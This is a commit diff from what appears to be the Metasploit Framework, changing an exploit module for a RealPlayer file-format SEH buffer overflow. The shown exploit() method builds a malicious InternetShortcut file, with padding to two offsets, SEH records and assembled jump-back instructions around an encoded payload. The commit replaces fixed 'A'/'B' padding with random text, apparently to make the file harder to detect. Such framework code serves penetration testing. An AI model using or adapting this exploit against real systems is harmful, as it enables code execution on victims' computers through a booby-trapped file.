added random string functions

Author: jvazquez-r7

modules/exploits/windows/fileformat/real_player_url_property_bof.rb

@@ -70,13 +70,13 @@ def initialize(info = {})
 	def exploit
 
 		buffer = payload.encoded
-		buffer << "A" * (target['OffsetOne'] - buffer.length) # Open the file via double click
+		buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click
 		buffer << generate_seh_record(target.ret)
 		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
-		buffer << "A" * (target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
+		buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
 		buffer << generate_seh_record(target.ret)
 		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
-		buffer << "B" * 7000 # Generate exception
+		buffer << rand_text(7000) # Generate exception
 
 		content = "[InternetShortcut]\nURL="
 		filecontent = content+buffer